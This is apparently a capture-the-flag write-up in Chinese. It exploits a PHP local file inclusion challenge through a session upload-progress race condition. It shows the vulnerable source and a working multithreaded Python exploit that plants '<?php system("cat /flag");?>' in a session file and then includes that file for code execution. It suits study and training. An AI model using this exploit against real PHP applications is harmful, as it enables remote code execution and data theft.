session条件竞争

session条件竞争

打开页面,看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
echo $url['query'];
parse_str($url['query'],$query);
foreach($query as $value){
echo $value;
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
echo serialize($ycb);
}else{
echo "what are you doing";
}
?>

通过源码,我们可以看到有个include()函数可以给我们利用来读取文件,但它使用正则过滤,过滤掉了flag,所以我们可以使用data伪协议来构造php代码来读取,所以构造

1
//?gwht=/var/lib/php5/sess_ph1

来读取目录信息,发现不行,经过本地测试发现是因为php默认allow_url_include=0,所以不可以使用data伪协议,但是我们可以使用session条件竞争来做,由于你上传的文件,会被服务器放在一个地方,然后进行判断文件是否有害,有害则被删除,但是如果时间太长的话,我们就可以利用这个时间间隙来访问文件,所以改了个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io
import requests
import threading

sessid = 'ph1'


def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'http://192.168.39.219:8000/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def t2(session):
while True:
response = session.get(f'http://192.168.39.219:8000//?gwht=/var/lib/php5/sess_{sessid}')
print(response.text)


with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()

t2(session)

如果用命令行看返回结果的话,有点麻烦,所以我们直接在页面,通过它给的include()函数来包含上传文件,所以构造

1
//?gwht=/var/lib/php5/sess_ph1

然后不断刷新,来包含sess_ph1文件,从而读取flag